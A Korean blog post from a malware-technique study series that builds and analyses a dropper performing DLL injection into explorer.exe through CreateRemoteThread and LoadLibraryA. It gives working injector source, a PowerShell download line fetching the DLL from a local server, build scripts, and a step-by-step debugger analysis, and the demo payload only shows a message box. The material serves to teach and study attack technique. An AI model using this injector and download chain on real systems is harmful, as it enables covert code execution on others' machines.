tmxklab

Dropper 3-1(DLL Injection) 본문

Security/07 Malware Technique

Dropper 3-1(DLL Injection)

tmxk4221 2020. 12. 29. 12:01

0. 목차


1. DLL Injection이란

  • 디스크에 저장된 악성 DLL을 타겟 프로세스에 강제로 삽입(Injection)
  • 원리는 malware 프로세스가 타겟 프로세스에서 LoadLibrary()API를 호출하도록 하는 것
  • 일반적인 DLL Loading과 마찬가지로 강제 삽입된 DLL의 DllMain()가 실행
  • Windows 공유 폴더(UNC Path)를 통해 Dll 로딩 가능

+) 지금은 탐지하는게 많아서 DLL Injection을 잘 사용안한다고 함

+) DLL 코드를 로드하고 실행시키는 방법은 여러가지 존재하지만 여기서 다루는 내용은 CreateRemoteThread()를 이용하는 것을 다루도록 한다.

2. DLL Injection 유형 분석

2.1 분석환경

  • OS : Windows 7(x86)
  • Debugging Tool : IDA Pro, x32dbg
  • etc tool : Process Explorer

2.2 예제 소스 코드 및 컴파일

[ main.exe ]

#include <windows.h>
#include <TlHelp32.h>

unsigned int
_strlen(const char *f)
{
    INT i = 0;
    while (*f++)
        i++;
    return i;
}

int _strcmp(char *s1, char *s2)
{
    while (*s1 && (*s1 == *s2))
        s1++, s2++;
    return (int)*(unsigned char *)s1 - *(unsigned char *)s2;
}

void printf(char *fmtstr, ...)
{
    DWORD dwRet;
    CHAR buffer[256];
    va_list v1;
    va_start(v1, fmtstr);
    wvsprintfA(buffer, fmtstr, v1);
    WriteConsole(GetStdHandle(STD_OUTPUT_HANDLE), buffer, _strlen(buffer), &dwRet, 0);
    va_end(v1);
}

DWORD findPidByName(char *pname)
{
    HANDLE h;
    PROCESSENTRY32 procSnapshot;
    h = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    procSnapshot.dwSize = sizeof(PROCESSENTRY32);

    do
    {
        if (!_strcmp(procSnapshot.szExeFile, pname))
        {
            DWORD pid = procSnapshot.th32ProcessID;
            CloseHandle(h);
            return pid;
        }
    } while (Process32Next(h, &procSnapshot));

    CloseHandle(h);
    return 0;
}

int main()
{
    DWORD dwProcessId;
    LPCSTR pszLibFile = "c:/windows/temp/msg.dll";

    WinExec("powershell.exe -Command wget http://127.0.0.1:8080/static/msg.dll -O C:\\windows\\temp\\msg.dll", 0);
    Sleep(1500);
    dwProcessId = findPidByName("explorer.exe");
    printf("%d\n", dwProcessId);
    DWORD dwSize = (_strlen(pszLibFile) + 1);

    HANDLE hProcess = OpenProcess(
        PROCESS_QUERY_INFORMATION |
            PROCESS_CREATE_THREAD |
            PROCESS_VM_OPERATION |
            PROCESS_VM_WRITE,
        FALSE, dwProcessId);
    if (hProcess == NULL)
    {
        return (1);
    }

    LPVOID pszLibFileRemote = (PWSTR)VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);

    DWORD n = WriteProcessMemory(hProcess, pszLibFileRemote, (PVOID)pszLibFile, dwSize, NULL);

    PTHREAD_START_ROUTINE pfnThreadRtn = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryA");

    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, pfnThreadRtn, pszLibFileRemote, 0, NULL);

    WaitForSingleObject(hThread, INFINITE);

    if (pszLibFileRemote != NULL)
        VirtualFreeEx(hProcess, pszLibFileRemote, 0, MEM_RELEASE);

    if (hThread != NULL)
        CloseHandle(hThread);

    if (hProcess != NULL)
        CloseHandle(hProcess);
    return 0;
}

[ msg.cpp ] - dll 소스코드

#include <Windows.h>

void main()
{
    MessageBoxA(NULL, "Hello!", "Pwned", NULL);
}

BOOL APIENTRY DllMain(HMODULE hModule,
                      DWORD ul_reason_for_call,
                      LPVOID lpReserved)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        main();
        break;
    case DLL_THREAD_ATTACH:
        break;
    case DLL_THREAD_DETACH:
        break;
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}

[ main.bat ]

@ECHO OFF
WHERE cl
IF %ERRORLEVEL% NEQ 0 (
    call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\Tools\VsDevCmd.bat"
)
cl /c /GS- /Oi- main.cpp 
link /ENTRY:main /BASE:0x400000 /FIXED /subsystem:windows main.obj user32.lib kernel32.lib Advapi32.lib
del *.obj

[ dll.bat ]

@ECHO OFF
WHERE cl
IF %ERRORLEVEL% NEQ 0 (
    call "C:\Program Files (x86)\Microsoft Visual Studio\2017\Community\Common7\Tools\VsDevCmd.bat"
)
cl /c /GS- /Oi- msg.cpp 
link /ENTRY:DllMain /DLL msg.obj user32.lib kernel32.lib
del *.obj


3. 분석

3.1 정적 분석

  • 먼저 WinExec()를 통해 Powershell을 실행시켜 서버에 있는 "msg.dll"을 다운받아 "C:\\windows\\temp\\msg.dll"로 저장시킨다.
  • 그 다음부터 차근차근 살펴보자

1) sub_4010F0((int)"explorer.exe")

  • 먼저 CreateToolhelp32Snapshot을 호출하여 반환 값을 hObject에 저장한다.
  • 악성코드에서 흔히 사용되는 기법 중 하나로 프로세스 리스트를 나열화 하는 것이다.
  • 이를 통해 후킹 및 인젝션을 하기 위해 목표로 하는 프로세스를 찾는다.
  • 사용되는 API 함수
    • Process32First()
    • Process32Next()
    • CreateToolhelp32Snapshot()

2) CreateToolhelp32Snapshot()

→ 지정된 프로세스와 이러한 프로세스에서 사용하는 힙, 모듈 및 스레드의 스냅샷을 가져오는 함수

→ 스냅샷 : 현재 프로세스가 돌아가는 정보를 캡쳐하여 해당 정보를 가져오는 뜻

  • dwFlags : 스냅샷에 포함할 시스템 부분
    • TH32CS_SNAPPROCESS(0x2) : 시스템에서 실행 중인 프로세스에 대하여 모두 캡쳐
  • th32ProcessID : 스냅샷에 포함할 프로세스 식별자(pid)
    • 널 값인 경우 모든 프로세스가 스냅샷에 포함
  • return value: 성공적으로 마치면 스냅샷에 대한 핸들을 반환

2-1) hObject = CreateToolhelp32Snapshot(2u, 0);

→ 시스템에서 실행 중인 모든 프로세스가 스냅샷에 포함

  • 이후에 PROCESSENTRY32구조체를 가지는 pe변수의 멤버 변수인 dwSize에 296을 저장하고 do while문을 실행한다.
  • if문에서 pe.szExeFile과 name을 파라미터로 주고 sub_401040을 호출한다.
    • 확인해보면 알겠지만 문자열이 같은지 비교하는 함수이다.
  • if문이 참이면 v3에 pe.th32ProcessID를 저장하고 반환한다.
  • 참이 아닌 경우 Process32Next(hObject, &pe)를 실행한다.
    • 해당 함수는 pEntry의 다음 프로세스 스냅샷을 받아오는 역할

+) PROCESSENTRY32구조체

→ 스냅 샷을 만들 때 시스템 주소 공간에 상주하는 프로세스 목록의 항목

→ 위에서 사용되는 멤버 변수만 확인해보자

→ 참고 : https://docs.microsoft.com/en-us/windows/win32/api/tlhelp32/ns-tlhelp32-processentry32

typedef struct tagPROCESSENTRY32 {
  DWORD     dwSize;
  DWORD     cntUsage;
  DWORD     th32ProcessID;
  ULONG_PTR th32DefaultHeapID;
  DWORD     th32ModuleID;
  DWORD     cntThreads;
  DWORD     th32ParentProcessID;
  LONG      pcPriClassBase;
  DWORD     dwFlags;
  CHAR      szExeFile[MAX_PATH];
} PROCESSENTRY32;
  • dwSize : PROCESSENTRY32의 크기, Process32First함수를 호출하기 전에 sizeof(PROCESSENTRY32)를 통해 초기화 시켜야 한다.
  • szExeFile : 프로세스의 실행 파일 이름

최종적으로 sub_4010F0((int)"explorer.exe")함수는 "explorer.exe"프로세스의 이름을 찾아 pid를 구하여 반환하는 기능을 수행한다.

3) sub_401000("c:/windows/temp/msg.dll")

  • a1의 값이 존재할 때까지 for문이 돌며 i가 증가한다.
  • 결국 파라미터로 받은 "c:/windows/temp/msg.dll"문자열의 길이를 반환

3-1) dwSize = sub_401000("c:/windows/temp/msg.dll") + 1;

→ dwSize에 "c:/windows/temp/msg.dll"문자열의 길이에 1을 더한 값만큼 저장

4) OpenProcess();

→ 프로세스의 Handle값을 얻어올 때 사용하는 함수

→ 성공하면 Handle값을 리턴

  • dwDesiredAccess : 프로세스 액세스 권한 옵션
    • PROCESS_ALL_ACCESS : 모든 권한
    • PROCESS_CREATE_THREAD (0x0002) : 스레드를 만드는데 필요
    • PROCESS_DUP_HANDLE (0x0040) : 핸들을 복제하는데 필요
  • bInheritHandle : PID로 접근한 process를 현재 이 함수를 실행하고 있는 프로세스에 상속할지 결정하는 인자
    • 0인 경우 : 프로세스가 이 핸들을 상속하지 않음
    • 1인 경우 : 프로세스에서 만든 프로세스가 핸들을 상속
  • dwProcessId : 프로세스 식별자(PID), PID값 또는 0을 입력, 0 또는 NULL인 경우 모든 process에 대해 접근

4-1) hProcess = OpenProcess(0x42Au, 0, dwProcessId);

→ 위에서 구한 PID값을 파라미터로 주어 해당 프로세스의 handle값을 얻어옴

5) VirtualAllocEx(); → 메모리 할당

→ 다른 해당 프로세스가 가상메모리 공간을 할당받고 싶을 때 사용하는 함수

→ 성공하면 할당된 페이지 영역의 주소를 반환

  • hProcess : 프로세스에 대한 핸들
  • lpAddress : 할당할 페이지 영역에 대한 시작 주소를 지정하는 포인터, NULL인 경우 비어있는 공간에 자동 할당
  • dwSize : 할당할 메모리 영역의 크기(byte)
  • flAllocationType : 메모리 할당 유형
    • MEM_COMMIT(0x1000) : 지정된 예약 메모리 페이지에 대한 메모리 할당, 실제 물리적 페이지는 가상 주소가 액세스될 때까지 할당되지 않음
  • flProtect : 할당할 페이지 영역에 대한 메모리 보호 설정
    • PAGE_READWRITE(0x4) : 읽기/쓰기 권한 활성화

5-1) lpBaseAddress = VirtualAllocEx(hProcess, 0, dwSize, 0x1000u, 4u);

→ "explorer.exe"프로세스의 가상메모리 공간 중에 비어있는 공간에 대한 주소 값을 반환받음, "msg.dll"파일 이름을 쓰기 위해 공간 할당을 받는 과정

→ "main.exe"가 아닌 "explorer.exe"라는 것에 주의

6) WriteProcessMemory();

→ 지정된 프로세스의 메모리 영역에 데이터를 쓰는 함수

→ 성공하면 0이 아닌 값을 반환

  • hProcess : 수정할 프로세스에 대한 핸들
  • lpBaseAddress : 데이터가 기록되는 주소에 대한 포인터
  • lpBuffer : 메모리에 적을 값, 경로 값이 올 수 있음
  • nSize : 메모리에 쓸 데이터 byte수
  • *lpNumberOfBytesWritten : 매개변수 설정시 이용, 주로 NULL

6-1) WriteProcessMemory(hProcess, lpBaseAddress, "c:/windows/temp/msg.dll", dwSize, 0);

→ "explorer.exe"프로세스에 아까 저장된 lpBaseAddress에 dwSize만큼 "c:/windows/temp/msg.dll"파일 이름을 작성

7) v2 = GetModuleHandleA("Kernel32");

→ kernel32모듈에 대한 핸들을 찾음

8) lpStartAddress = GetProcAddress(v2, "LoadLibraryA");

→ "kernel32.dll"에 있는 함수인 "LoadLibraryA()"의 주소 값을 lpStartAddress에 저장

9) CreateRemoteThread();

→ 다른 프로세스에게 스레드를 실행시켜주는 함수

  • hProcess : 스레드가 생성될 프로세스에 대한 핸들
  • lpThreadAttributes : 보안 속성을 지정, NULL이면 디폴트 값 세팅
  • dwStackSize : 스택의 초기 사이즈(byte), NULL인 경우 디폴트 값으로 세팅
  • lpStartAddress : 생성할 스레드 함수의 주소, 해당 함수는 반드시 타겟 프로세스 내에 존재하는 함수여야 한다.
  • lpParameter : 함수에 전달되는 변수
  • dwCreationFlags : 스레드 생성을 제어하는 플래그, NULL인 경우
  • lpThreadId : 스레드 식별자를 받는 변수에 대한 포인터, NULL인 경우 식별자가 반환되지 않음

9-1) hHandle = CreateRemoteThread(hProcess, 0, 0, lpStartAddress, lpBaseAddress, 0, 0);

→ lpStartAddress에는 "explorer.exe"의 "LoadLibraryA()"의 주소가 존재하고 lpBaseAddress에는 "explorer.exe"의 "c:/windows/temp/msg.dll"의 주소가 존재한다.

→ 즉, 실제로는 "explorer.exe"프로세스를 통해 LoadLibraryA("msg.dll")을 호출한다.

이후의 코드들은 위에서 생성한 handle값을 정리해주는 코드이다.

3.2 동적 분석

1) WinExec() 호출 後

  • WinExec()실행 결과 "powershell.exe"을 통해 서버에 있는 msg.dll을 "c:\Windows\Temp\msg.dll"로 저장되어진다.

2) sub_4010f0() 호출 後

  • "explorer.exe"pid를 구하는 함수로 현재 리턴 값으로 0x704(1796)로 세팅

  • 확인 결과 "explorer.exe" pid : 0x704(1796)

3) sub_401000 호출 後

  • "c:\Windows\Temp\msg.dll" 문자열의 길이 0x17(23)

4) VirtualAllocEx() & WriteProcessMemory() 호출 後

  • 성공적으로 "explorer.exe"프로세스에 "c:/windows/temp/msg.dll"파일의 내용을 작성

5) GetModuleA() & GetProcAddress() 호출 後

  • kerner32.dll에서 LoadLibraryA()의 주소 값 찾음
  • Windows 운영체제에서 kernel32.dll은 프로세스마다 같은 주소에 로딩됨
  • 따라서, "main.exe"프로세스에서 import된 LoadLibraryA()의 주소를 구해도 "explorer.exe"프로세스에서 import된 LoadLibraryA()의 주소는 동일

6) CreateRemoteThread() 호출 前, 後

① 호출 前

② 호출 後

(중간에 디버깅 멈춰서 다시 vm껐다 켜서 PID값은 다름)

최종적으로 "explorer.exe"에 "msg.dll" injection되어 있으며 메시지 박스가 뜨는 것을 확인할 수 있다.

추가) msg.dll 정적분석

"explorer.exe"에 "msg.dll"을 injection시킨 것만으로 메시지 박스가 나타난 이유가 무엇인지 분석을 통해 알아보자

[ DllEntryPoint ]

  • DllEntryPoint : DLL에 대한 진입점, 제일 먼저 시작하는 부분
    • 시스템이 프로세스 또는 스레드를 시작하거나 종료할 때
    • LoadLibrary 및 FreeLibrary함수를 사용하여 로드되거나 언로드될 때
  • 그리고 if문에서 fdwReason값이 1이면 sub_10001000()을 호출한다.
  • fdwReason : DLL 진입점 함수가 호출되는 Reason
    • DLL_PROCESS_ATTACH(0x1)
    • DLL_PROCESS_DETACH(0x0)
    • DLL_THREAD_ATTACH(0x2)
    • DLL_THREAD_DETACH(0x3)
  • 여기서 fdwReason이 1이면 DLL_PROCESS_ATTACH에 해당하는 것을 알 수 있다.
  • DLL_PROCESS_ATTACH인 경우 DLL이 프로세스의 주소 공간에 최초로 매핑되면 fdwReason매개변수에 DLL_PROCESS_ATTACH값을 전달하여 해당 DLL의 DllMain함수를 호출해준다.
  • MS 인용 : DLL은 프로세스가 시작되거나 LoadLibrary호출의 결과로 현재의 프로세스의 가상 주소 공간에 로드

[ sub_10001000 ]

  • 단순하게 MessageBoxA()를 호출한다.

즉, main.exe에서 CreateRemoteThread()를 호출하게 되어 explorer.exe프로세스를 통해 LoadLibrary("msg.dll")을 호출하게 되어 explorer.exe주소 공간에 최초로 매핑 또는 로드되어 fdwReason매개변수에 DLL_PROCESS_ATTACH값을 전달되고 msg.dll에서 DLL_PROCESS_ATTACH값이 참인 경우 MessageBoxA()를 호출하게 되는 것이다.


4. 정리

4.1 Process

1) WinExec()를 통해 서버에 있는 "msg.dll"을 tmp디렉토리에 저장

2) OpenProcess()를 통해 "explorer.exe"프로세스에 대한 정보를 얻어온다.

3) VirtualAllocEx()를 통해 메모리 공간을 할당받는다.

4) WriteProcessMemory()를 통해 "explorer.exe"프로세스의 메모리 영역에 "msg.dll"파일 이름을 쓴다.

5) kernel32.dll에 있는 LoadLibraryA()의 주소를 구한다.

6) CreateRemoteThread()를 호출하여 실제로 "explorer.exe"프로세스를 통해 LoadLibraryA("msg.dll")을 호출한다.

7) "msg.dll"의 엔트리 포인트에는 LoadLibrary를 통해 해당 프로세스에 최초로 매핑된 경우 DllMain()에 구현된 MessageBoxA()를 호출한다.

4.2 Image



출처 : https://www.elastic.co/kr/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

4.3 헷갈렸던 부분

VirtualAllocEx()를 통해 "explorer.exe"의 메모리 공간을 할당받고 WriteProcessMemory()를 통해 할당받은 부분에 "c:/windows/temp/msg.dll"를 쓸 때 "msg.dll"파일의 데이터를 전부 쓰는 줄 알았다.

하지만 다시 잘 보면

dwSize = sub_401000("c:/windows/temp/msg.dll") + 1;

...

WriteProcessMemory(hProcess, lpBaseAddress, "c:/windows/temp/msg.dll", dwSize, 0);

즉 해당 파일의 경로를 포함한 파일 이름을 메모리에 쓰는 것이다.

위 과정은 이후에 호출하게 되는 CreateRemoteThread()에서 필요하다.

처음에 CreateRemoteThread()가 결국엔

"explorer.exe"프로세스에서 LoadLibrary("msg.dll")을 한다고 말했다.

그렇다. LoadLibrary()의 인자로 모듈 이름을 받기 때문에 VirtualAllocEx()과 WriteProcessMemory()가 필요한 것이다.


5. 참고자료

5.1 DLL Injection

5.2 DLL Main

5.3 msdn


'Security > 07 Malware Technique' 카테고리의 다른 글

Dropper 3-3(PE Injection)  (0) 2020.12.29
Dropper 3-2(Process Hollowing)  (3) 2020.12.29
Dropper 2(Resource)  (0) 2020.12.29
Dropper 1(Download & Execute)  (0) 2020.12.29
Dropper 개요  (0) 2020.12.29
Comments